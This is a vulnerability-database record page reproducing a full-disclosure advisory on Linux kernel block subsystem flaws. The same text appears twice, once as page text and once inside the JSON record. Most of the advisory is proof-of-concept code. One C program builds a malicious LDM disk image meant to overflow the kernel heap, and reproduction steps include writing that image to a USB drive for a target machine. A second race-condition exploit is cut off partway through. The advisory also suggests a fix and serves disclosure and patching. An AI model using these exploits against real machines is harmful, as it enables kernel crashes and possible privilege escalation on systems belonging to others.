GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Search

Find a vulnerability

Search criteria Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.

    1 vulnerability found for Linux Kernel Block by Linux

    GCVE-1988-2025-0001

    Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 10:11
    VLAI
    Title
    Linux Kernel Block Subsystem Vulnerabilities
    Summary
    ================================================================================ FULL DISCLOSURE: Linux Kernel Block Subsystem Vulnerabilities Date: 2025-12-29 Affected: Linux Kernel (all versions with affected code) ================================================================================ ================================================================================ [1/4] Integer Overflow in LDM Partition Parser - Heap Overflow ================================================================================ VULNERABILITY SUMMARY --------------------- Type: Integer Overflow leading to Heap Buffer Overflow File: block/partitions/ldm.c:1247 Severity: HIGH (7.8 CVSS) Impact: Local privilege escalation, kernel code execution Attack Vector: Malicious disk image / USB device TECHNICAL DETAILS ----------------- The LDM (Logical Disk Manager) partition parser contains an integer overflow vulnerability in the VBLK fragment reassembly code. When parsing Windows dynamic disks, the kernel allocates a buffer using: f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL); Where both 'size' and 'num' are attacker-controlled 16-bit values read from the disk. When size=0xFFFF and num=0xFFFF, the multiplication overflows: 0xFFFF * 0xFFFF = 0xFFFE0001 (truncated to 32-bit) sizeof(*f) + 0xFFFE0001 = small allocation The kernel allocates a small buffer but later writes up to 64KB of data into it, causing a heap buffer overflow. AFFECTED CODE (block/partitions/ldm.c) -------------------------------------- Line 1247: f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL); Line 461 (bounds check also vulnerable): if ((vm->vblk_size * vm->vblk_offset) > 65536) { PROOF OF CONCEPT ---------------- /* * ldm_overflow_poc.c - LDM Integer Overflow PoC * Creates a malicious disk image triggering the overflow * * Compile: gcc -o ldm_poc ldm_overflow_poc.c * Usage: ./ldm_poc output.img && losetup /dev/loop0 output.img * * WARNING: This WILL crash/corrupt your kernel. Use in VM only. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <fcntl.h> #include <unistd.h> /* LDM structures */ #define LDM_MAGIC "PRIVHEAD" #define VBLK_MAGIC "VBLK" struct ldm_privhead { char magic[8]; uint32_t version; uint64_t disk_id; char host_id[64]; char disk_group_id[64]; char disk_group_name[32]; uint32_t logical_disk_start; uint32_t logical_disk_size; uint32_t config_start; uint32_t config_size; uint32_t num_tocs; uint32_t toc_size; uint32_t num_configs; uint32_t config_record_size; uint32_t num_logs; uint32_t log_size; } __attribute__((packed)); struct ldm_vmdb { char magic[4]; /* "VMDB" */ uint32_t last_seq; uint32_t vblk_size; /* Controlled - use 0xFFFF */ uint32_t vblk_offset; /* Controlled - use 0xFFFF */ uint16_t num_vblks; /* ... */ } __attribute__((packed)); struct ldm_vblk_head { char magic[4]; /* "VBLK" */ uint32_t seq; uint32_t group; uint16_t rec_num; /* Fragment number */ uint16_t num_recs; /* Total fragments - use large value */ /* ... */ } __attribute__((packed)); void create_malicious_ldm_image(const char *filename) { int fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open"); exit(1); } /* Create 2MB sparse image */ ftruncate(fd, 2 * 1024 * 1024); /* Write LDM PRIVHEAD at sector 6 (byte offset 3072) */ struct ldm_privhead privhead = {0}; memcpy(privhead.magic, LDM_MAGIC, 8); privhead.version = 0x0002000C; /* Version 2.12 */ privhead.config_start = 1; privhead.config_size = 2048; lseek(fd, 6 * 512, SEEK_SET); write(fd, &privhead, sizeof(privhead)); /* Write VMDB with overflow values */ struct ldm_vmdb vmdb = {0}; memcpy(vmdb.magic, "VMDB", 4); vmdb.vblk_size = 0xFFFF; /* OVERFLOW VALUE */ vmdb.vblk_offset = 0xFFFF; /* OVERFLOW VALUE */ vmdb.num_vblks = 100; lseek(fd, 8 * 512, SEEK_SET); /* VMDB location */ write(fd, &vmdb, sizeof(vmdb)); /* Write VBLK fragments that trigger reassembly overflow */ struct ldm_vblk_head vblk = {0}; memcpy(vblk.magic, VBLK_MAGIC, 4); vblk.seq = 1; vblk.group = 1; vblk.rec_num = 0; vblk.num_recs = 0xFFFF; /* Large fragment count */ /* Write multiple fragments to trigger reassembly */ for (int i = 0; i < 10; i++) { vblk.rec_num = i; lseek(fd, (16 + i) * 512, SEEK_SET); write(fd, &vblk, sizeof(vblk)); /* Fill rest of sector with controlled data */ char payload[512 - sizeof(vblk)]; memset(payload, 'A', sizeof(payload)); write(fd, payload, sizeof(payload)); } close(fd); printf("[+] Created malicious LDM image: %s\n", filename); printf("[!] WARNING: Mounting this image WILL crash the kernel\n"); } int main(int argc, char **argv) { if (argc != 2) { fprintf(stderr, "Usage: %s <output.img>\n", argv[0]); return 1; } create_malicious_ldm_image(argv[1]); printf("\nReproduction steps:\n"); printf("1. Copy image to target VM\n"); printf("2. sudo losetup /dev/loop0 %s\n", argv[1]); printf("3. sudo partprobe /dev/loop0 # TRIGGERS CRASH\n"); printf("\nOr:\n"); printf("1. Write image to USB drive\n"); printf("2. Plug USB into target machine\n"); printf("3. Kernel auto-probes partitions -> CRASH\n"); return 0; } REPRODUCTION STEPS ------------------ 1. Compile the PoC on any Linux system: $ gcc -o ldm_poc ldm_overflow_poc.c 2. Create the malicious image: $ ./ldm_poc malicious.img 3. In a VM (DO NOT RUN ON PRODUCTION): $ sudo losetup /dev/loop0 malicious.img $ sudo partprobe /dev/loop0 4. Kernel will crash with heap corruption Alternative (USB attack vector): 1. Write malicious.img to USB drive: $ sudo dd if=malicious.img of=/dev/sdX bs=1M 2. Plug USB into target machine 3. Kernel crashes during automatic partition probing IMPACT ------ - Heap buffer overflow with controlled size and data - Kernel code execution possible via heap spray - Physical access attack via malicious USB - No user interaction required (auto-probe) SUGGESTED FIX ------------- Replace vulnerable allocation with overflow-safe version: - f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL); + if (check_mul_overflow(size, num, &alloc_size) || + check_add_overflow(alloc_size, sizeof(*f), &alloc_size)) { + ldm_error("VBLK allocation overflow"); + return false; + } + f = kmalloc(alloc_size, GFP_KERNEL); ================================================================================ [2/4] Request Queue Reference Counting Race Condition ================================================================================ VULNERABILITY SUMMARY --------------------- Type: TOCTOU Race Condition / Use-After-Free File: block/blk-core.c:278-284 Severity: MEDIUM (5.5 CVSS) Impact: Kernel crash, potential privilege escalation Attack Vector: Local, requires timing TECHNICAL DETAILS ----------------- The blk_get_queue() function has a time-of-check to time-of-use (TOCTOU) race condition between checking if the queue is dying and incrementing the reference count: bool blk_get_queue(struct request_queue *q) { if (unlikely(blk_queue_dying(q))) // CHECK return false; refcount_inc(&q->refs); // USE - race window! return true; } Between the check and the increment, another CPU can complete queue teardown, decrement refs to 0, and free the structure. The subsequent refcount_inc() then operates on freed memory. AFFECTED CODE (block/blk-core.c) -------------------------------- Lines 278-284: bool blk_get_queue(struct request_queue *q) { if (unlikely(blk_queue_dying(q))) return false; refcount_inc(&q->refs); // Should be refcount_inc_not_zero return true; } PROOF OF CONCEPT ---------------- /* * blk_queue_race_poc.c - Request Queue Race Condition PoC * * This PoC demonstrates the TOCTOU race in blk_get_queue(). * Requires root and a removable block device (USB/loop). * * Compile: gcc -o queue_race -lpthread blk_queue_race_poc.c * Usage: sudo ./queue_race /dev/loop0 */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <pthread.h> #include <sys/ioctl.h> #include <linux/loop.h> #include <linux/fs.h> #include <errno.h> #include <sched.h> #define NUM_RACERS 4 #define ITERATIONS 100000 static volatile int race_running = 1; static char *loop_device; static char *backing_file; /* Thread that repeatedly opens the block device */ void *opener_thread(void *arg) { int cpu = (int)(long)arg; cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(cpu % 4, &cpuset); pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset); while (race_running) { int fd = open(loop_device, O_RDONLY | O_NONBLOCK); if (fd >= 0) { /* Perform I/O to exercise queue paths */ char buf[512]; read(fd, buf, sizeof(buf)); close(fd); } /* Tight loop to maximize race window hits */ } return NULL; } /* Thread that repeatedly detaches/attaches loop device */ void *detacher_thread(void *arg) { int loop_ctl_fd = open("/dev/loop-control", O_RDWR); int backing_fd = -1; while (race_running) { /* Get a free loop device number */ int loop_fd = open(loop_device, O_RDWR); if (loop_fd >= 0) { /* Detach - triggers queue dying state */ ioctl(loop_fd, LOOP_CLR_FD, 0); close(loop_fd); } usleep(100); /* Small delay */ /* Reattach */ loop_fd = open(loop_device, O_RDWR); backing_fd = open(backing_file, O_RDWR); if (loop_fd >= 0 && backing_fd >= 0) { ioctl(loop_fd, LOOP_SET_FD, backing_fd); close(backing_fd); close(loop_fd); } usleep(100); } close(loop_ctl_fd); return NULL; } /* Thread that submits I/O to exercise blk_get_queue paths */ void *io_submitter_thread(void *arg) { while (race_running) { int fd = open(loop_device, O_RDONLY | O_DIRECT | O_NONBLOCK); if (fd >= 0) { void *buf; posix_memalign(&buf, 512, 4096); /* Submit I/O - internally calls blk_get_queue */ pread(fd, buf, 4096, 0); free(buf); close(fd); } } return NULL; } int main(int argc, char **argv) { pthread_t openers[NUM_RACERS]; pthread_t submitters[NUM_RACERS]; pthread_t detacher; if (argc != 3) { fprintf(stderr, "Usage: %s <loop_device> <backing_file>\n", argv[0]); fprintf(stderr, "Example: %s /dev/loop0 /tmp/test.img\n", argv[0]); return 1; } loop_device = argv[1]; backing_file = argv[2]; /* Create backing file if needed */ int bf = open(backing_file, O_RDWR | O_CREAT, 0644); if (bf >= 0) { ftruncate(bf, 10 * 1024 * 1024); /* 10MB */ close(bf); } /* Initial loop setup */ int loop_fd = open(loop_device, O_RDWR); int back_fd = open(backing_file, O_RDWR); if (loop_fd >= 0 && back_fd >= 0) { ioctl(loop_fd, LOOP_SET_FD, back_fd); close(back_fd); close(loop_fd); } printf("[*] Starting race condition PoC\n"); printf("[*] Target: %s\n", loop_device); printf("[*] This may take a while or crash the kernel...\n"); /* Start racer threads */ for (int i = 0; i < NUM_RACERS; i++) { pthread_create(&openers[i], NULL, opener_thread, (void*)(long)i); pthread_create(&submitters[i], NULL, io_submitter_thread, (void*)(long)i); } pthread_create(&detacher, NULL, detacher_thread, NULL); /* Run for a
    Severity
    No CVSS data available.
    Impacted products
    Vendor Product Version
    Linux Linux Kernel Block Affected: unknown
    Create a notification for this product.

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "product": "Linux Kernel Block",
              "vendor": "Linux",
              "versions": [
                {
                  "status": "affected",
                  "version": "unknown"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Agent Spooky\u0027s Fun Parade via Fulldisclosure"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "================================================================================\nFULL DISCLOSURE: Linux Kernel Block Subsystem Vulnerabilities\nDate: 2025-12-29\nAffected: Linux Kernel (all versions with affected code)\n================================================================================\n\n================================================================================\n[1/4] Integer Overflow in LDM Partition Parser - Heap Overflow\n================================================================================\n\nVULNERABILITY SUMMARY\n---------------------\nType: Integer Overflow leading to Heap Buffer Overflow\nFile: block/partitions/ldm.c:1247\nSeverity: HIGH (7.8 CVSS)\nImpact: Local privilege escalation, kernel code execution\nAttack Vector: Malicious disk image / USB device\n\nTECHNICAL DETAILS\n-----------------\nThe LDM (Logical Disk Manager) partition parser contains an integer overflow\nvulnerability in the VBLK fragment reassembly code. When parsing Windows\ndynamic disks, the kernel allocates a buffer using:\n\n    f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n\nWhere both \u0027size\u0027 and \u0027num\u0027 are attacker-controlled 16-bit values read from\nthe disk. When size=0xFFFF and num=0xFFFF, the multiplication overflows:\n\n    0xFFFF * 0xFFFF = 0xFFFE0001 (truncated to 32-bit)\n    sizeof(*f) + 0xFFFE0001 = small allocation\n\nThe kernel allocates a small buffer but later writes up to 64KB of data into\nit, causing a heap buffer overflow.\n\nAFFECTED CODE (block/partitions/ldm.c)\n--------------------------------------\nLine 1247:\n    f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n\nLine 461 (bounds check also vulnerable):\n    if ((vm-\u003evblk_size * vm-\u003evblk_offset) \u003e 65536) {\n\nPROOF OF CONCEPT\n----------------\n/*\n * ldm_overflow_poc.c - LDM Integer Overflow PoC\n * Creates a malicious disk image triggering the overflow\n *\n * Compile: gcc -o ldm_poc ldm_overflow_poc.c\n * Usage: ./ldm_poc output.img \u0026\u0026 losetup /dev/loop0 output.img\n *\n * WARNING: This WILL crash/corrupt your kernel. Use in VM only.\n */\n\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cunistd.h\u003e\n\n/* LDM structures */\n#define LDM_MAGIC \"PRIVHEAD\"\n#define VBLK_MAGIC \"VBLK\"\n\nstruct ldm_privhead {\n    char magic[8];\n    uint32_t version;\n    uint64_t disk_id;\n    char host_id[64];\n    char disk_group_id[64];\n    char disk_group_name[32];\n    uint32_t logical_disk_start;\n    uint32_t logical_disk_size;\n    uint32_t config_start;\n    uint32_t config_size;\n    uint32_t num_tocs;\n    uint32_t toc_size;\n    uint32_t num_configs;\n    uint32_t config_record_size;\n    uint32_t num_logs;\n    uint32_t log_size;\n} __attribute__((packed));\n\nstruct ldm_vmdb {\n    char magic[4];           /* \"VMDB\" */\n    uint32_t last_seq;\n    uint32_t vblk_size;      /* Controlled - use 0xFFFF */\n    uint32_t vblk_offset;    /* Controlled - use 0xFFFF */\n    uint16_t num_vblks;\n    /* ... */\n} __attribute__((packed));\n\nstruct ldm_vblk_head {\n    char magic[4];           /* \"VBLK\" */\n    uint32_t seq;\n    uint32_t group;\n    uint16_t rec_num;        /* Fragment number */\n    uint16_t num_recs;       /* Total fragments - use large value */\n    /* ... */\n} __attribute__((packed));\n\nvoid create_malicious_ldm_image(const char *filename) {\n    int fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0644);\n    if (fd \u003c 0) {\n        perror(\"open\");\n        exit(1);\n    }\n\n    /* Create 2MB sparse image */\n    ftruncate(fd, 2 * 1024 * 1024);\n\n    /* Write LDM PRIVHEAD at sector 6 (byte offset 3072) */\n    struct ldm_privhead privhead = {0};\n    memcpy(privhead.magic, LDM_MAGIC, 8);\n    privhead.version = 0x0002000C;  /* Version 2.12 */\n    privhead.config_start = 1;\n    privhead.config_size = 2048;\n\n    lseek(fd, 6 * 512, SEEK_SET);\n    write(fd, \u0026privhead, sizeof(privhead));\n\n    /* Write VMDB with overflow values */\n    struct ldm_vmdb vmdb = {0};\n    memcpy(vmdb.magic, \"VMDB\", 4);\n    vmdb.vblk_size = 0xFFFF;    /* OVERFLOW VALUE */\n    vmdb.vblk_offset = 0xFFFF;  /* OVERFLOW VALUE */\n    vmdb.num_vblks = 100;\n\n    lseek(fd, 8 * 512, SEEK_SET);  /* VMDB location */\n    write(fd, \u0026vmdb, sizeof(vmdb));\n\n    /* Write VBLK fragments that trigger reassembly overflow */\n    struct ldm_vblk_head vblk = {0};\n    memcpy(vblk.magic, VBLK_MAGIC, 4);\n    vblk.seq = 1;\n    vblk.group = 1;\n    vblk.rec_num = 0;\n    vblk.num_recs = 0xFFFF;  /* Large fragment count */\n\n    /* Write multiple fragments to trigger reassembly */\n    for (int i = 0; i \u003c 10; i++) {\n        vblk.rec_num = i;\n        lseek(fd, (16 + i) * 512, SEEK_SET);\n        write(fd, \u0026vblk, sizeof(vblk));\n\n        /* Fill rest of sector with controlled data */\n        char payload[512 - sizeof(vblk)];\n        memset(payload, \u0027A\u0027, sizeof(payload));\n        write(fd, payload, sizeof(payload));\n    }\n\n    close(fd);\n    printf(\"[+] Created malicious LDM image: %s\\n\", filename);\n    printf(\"[!] WARNING: Mounting this image WILL crash the kernel\\n\");\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        fprintf(stderr, \"Usage: %s \u003coutput.img\u003e\\n\", argv[0]);\n        return 1;\n    }\n\n    create_malicious_ldm_image(argv[1]);\n\n    printf(\"\\nReproduction steps:\\n\");\n    printf(\"1. Copy image to target VM\\n\");\n    printf(\"2. sudo losetup /dev/loop0 %s\\n\", argv[1]);\n    printf(\"3. sudo partprobe /dev/loop0  # TRIGGERS CRASH\\n\");\n    printf(\"\\nOr:\\n\");\n    printf(\"1. Write image to USB drive\\n\");\n    printf(\"2. Plug USB into target machine\\n\");\n    printf(\"3. Kernel auto-probes partitions -\u003e CRASH\\n\");\n\n    return 0;\n}\n\nREPRODUCTION STEPS\n------------------\n1. Compile the PoC on any Linux system:\n   $ gcc -o ldm_poc ldm_overflow_poc.c\n\n2. Create the malicious image:\n   $ ./ldm_poc malicious.img\n\n3. In a VM (DO NOT RUN ON PRODUCTION):\n   $ sudo losetup /dev/loop0 malicious.img\n   $ sudo partprobe /dev/loop0\n\n4. Kernel will crash with heap corruption\n\nAlternative (USB attack vector):\n1. Write malicious.img to USB drive:\n   $ sudo dd if=malicious.img of=/dev/sdX bs=1M\n2. Plug USB into target machine\n3. Kernel crashes during automatic partition probing\n\nIMPACT\n------\n- Heap buffer overflow with controlled size and data\n- Kernel code execution possible via heap spray\n- Physical access attack via malicious USB\n- No user interaction required (auto-probe)\n\nSUGGESTED FIX\n-------------\nReplace vulnerable allocation with overflow-safe version:\n\n-   f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n+   if (check_mul_overflow(size, num, \u0026alloc_size) ||\n+       check_add_overflow(alloc_size, sizeof(*f), \u0026alloc_size)) {\n+       ldm_error(\"VBLK allocation overflow\");\n+       return false;\n+   }\n+   f = kmalloc(alloc_size, GFP_KERNEL);\n\n\n================================================================================\n[2/4] Request Queue Reference Counting Race Condition\n================================================================================\n\nVULNERABILITY SUMMARY\n---------------------\nType: TOCTOU Race Condition / Use-After-Free\nFile: block/blk-core.c:278-284\nSeverity: MEDIUM (5.5 CVSS)\nImpact: Kernel crash, potential privilege escalation\nAttack Vector: Local, requires timing\n\nTECHNICAL DETAILS\n-----------------\nThe blk_get_queue() function has a time-of-check to time-of-use (TOCTOU)\nrace condition between checking if the queue is dying and incrementing\nthe reference count:\n\n    bool blk_get_queue(struct request_queue *q)\n    {\n        if (unlikely(blk_queue_dying(q)))   // CHECK\n            return false;\n        refcount_inc(\u0026q-\u003erefs);             // USE - race window!\n        return true;\n    }\n\nBetween the check and the increment, another CPU can complete queue\nteardown, decrement refs to 0, and free the structure. The subsequent\nrefcount_inc() then operates on freed memory.\n\nAFFECTED CODE (block/blk-core.c)\n--------------------------------\nLines 278-284:\n    bool blk_get_queue(struct request_queue *q)\n    {\n        if (unlikely(blk_queue_dying(q)))\n            return false;\n        refcount_inc(\u0026q-\u003erefs);  // Should be refcount_inc_not_zero\n        return true;\n    }\n\nPROOF OF CONCEPT\n----------------\n/*\n * blk_queue_race_poc.c - Request Queue Race Condition PoC\n *\n * This PoC demonstrates the TOCTOU race in blk_get_queue().\n * Requires root and a removable block device (USB/loop).\n *\n * Compile: gcc -o queue_race -lpthread blk_queue_race_poc.c\n * Usage: sudo ./queue_race /dev/loop0\n */\n\n#define _GNU_SOURCE\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003clinux/loop.h\u003e\n#include \u003clinux/fs.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003csched.h\u003e\n\n#define NUM_RACERS 4\n#define ITERATIONS 100000\n\nstatic volatile int race_running = 1;\nstatic char *loop_device;\nstatic char *backing_file;\n\n/* Thread that repeatedly opens the block device */\nvoid *opener_thread(void *arg) {\n    int cpu = (int)(long)arg;\n    cpu_set_t cpuset;\n\n    CPU_ZERO(\u0026cpuset);\n    CPU_SET(cpu % 4, \u0026cpuset);\n    pthread_setaffinity_np(pthread_self(), sizeof(cpuset), \u0026cpuset);\n\n    while (race_running) {\n        int fd = open(loop_device, O_RDONLY | O_NONBLOCK);\n        if (fd \u003e= 0) {\n            /* Perform I/O to exercise queue paths */\n            char buf[512];\n            read(fd, buf, sizeof(buf));\n            close(fd);\n        }\n        /* Tight loop to maximize race window hits */\n    }\n    return NULL;\n}\n\n/* Thread that repeatedly detaches/attaches loop device */\nvoid *detacher_thread(void *arg) {\n    int loop_ctl_fd = open(\"/dev/loop-control\", O_RDWR);\n    int backing_fd = -1;\n\n    while (race_running) {\n        /* Get a free loop device number */\n        int loop_fd = open(loop_device, O_RDWR);\n        if (loop_fd \u003e= 0) {\n            /* Detach - triggers queue dying state */\n            ioctl(loop_fd, LOOP_CLR_FD, 0);\n            close(loop_fd);\n        }\n\n        usleep(100);  /* Small delay */\n\n        /* Reattach */\n        loop_fd = open(loop_device, O_RDWR);\n        backing_fd = open(backing_file, O_RDWR);\n        if (loop_fd \u003e= 0 \u0026\u0026 backing_fd \u003e= 0) {\n            ioctl(loop_fd, LOOP_SET_FD, backing_fd);\n            close(backing_fd);\n            close(loop_fd);\n        }\n\n        usleep(100);\n    }\n\n    close(loop_ctl_fd);\n    return NULL;\n}\n\n/* Thread that submits I/O to exercise blk_get_queue paths */\nvoid *io_submitter_thread(void *arg) {\n    while (race_running) {\n        int fd = open(loop_device, O_RDONLY | O_DIRECT | O_NONBLOCK);\n        if (fd \u003e= 0) {\n            void *buf;\n            posix_memalign(\u0026buf, 512, 4096);\n\n            /* Submit I/O - internally calls blk_get_queue */\n            pread(fd, buf, 4096, 0);\n\n            free(buf);\n            close(fd);\n        }\n    }\n    return NULL;\n}\n\nint main(int argc, char **argv) {\n    pthread_t openers[NUM_RACERS];\n    pthread_t submitters[NUM_RACERS];\n    pthread_t detacher;\n\n    if (argc != 3) {\n        fprintf(stderr, \"Usage: %s \u003cloop_device\u003e \u003cbacking_file\u003e\\n\", argv[0]);\n        fprintf(stderr, \"Example: %s /dev/loop0 /tmp/test.img\\n\", argv[0]);\n        return 1;\n    }\n\n    loop_device = argv[1];\n    backing_file = argv[2];\n\n    /* Create backing file if needed */\n    int bf = open(backing_file, O_RDWR | O_CREAT, 0644);\n    if (bf \u003e= 0) {\n        ftruncate(bf, 10 * 1024 * 1024);  /* 10MB */\n        close(bf);\n    }\n\n    /* Initial loop setup */\n    int loop_fd = open(loop_device, O_RDWR);\n    int back_fd = open(backing_file, O_RDWR);\n    if (loop_fd \u003e= 0 \u0026\u0026 back_fd \u003e= 0) {\n        ioctl(loop_fd, LOOP_SET_FD, back_fd);\n        close(back_fd);\n        close(loop_fd);\n    }\n\n    printf(\"[*] Starting race condition PoC\\n\");\n    printf(\"[*] Target: %s\\n\", loop_device);\n    printf(\"[*] This may take a while or crash the kernel...\\n\");\n\n    /* Start racer threads */\n    for (int i = 0; i \u003c NUM_RACERS; i++) {\n        pthread_create(\u0026openers[i], NULL, opener_thread, (void*)(long)i);\n        pthread_create(\u0026submitters[i], NULL, io_submitter_thread, (void*)(long)i);\n    }\n    pthread_create(\u0026detacher, NULL, detacher_thread, NULL);\n\n    /* Run for a "
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-09T10:11:17Z",
            "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
            "shortName": "VULNARCHIVE"
          },
          "references": [
            {
              "tags": [
                "technical-description",
                "exploit"
              ],
              "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/0"
            },
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://seclists.org/fulldisclosure/2026/Jan/0"
            },
            {
              "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
            },
            {
              "url": "https://seclists.org/fulldisclosure/"
            }
          ],
          "source": {
            "defect": [
              "https://seclists.org/fulldisclosure/2026/Jan/0"
            ],
            "discovery": "EXTERNAL"
          },
          "title": "Linux Kernel Block Subsystem Vulnerabilities",
          "x_gcve": [
            {
              "recordType": "advisory",
              "relationships": [],
              "vulnId": "GCVE-1988-2025-0001",
              "x_vulnarchive": {
                "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/0",
                "automated": true,
                "contentSha256": "32de6235455076c016dc8c2f5582de70e96ca488e28216ce0ba889a748b0e4f6",
                "evidenceScore": 9,
                "messageId": "",
                "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/0",
                "policy": "vulnarchive-1",
                "sourceFormat": "text/html",
                "sourcePublishedAt": "2025-12-29T20:20:00Z"
              }
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "assignerShortName": "VULNARCHIVE",
        "datePublished": "2026-09-08T07:57:41Z",
        "dateUpdated": "2026-09-09T10:11:17Z",
        "state": "PUBLISHED",
        "vulnId": "GCVE-1988-2025-0001"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }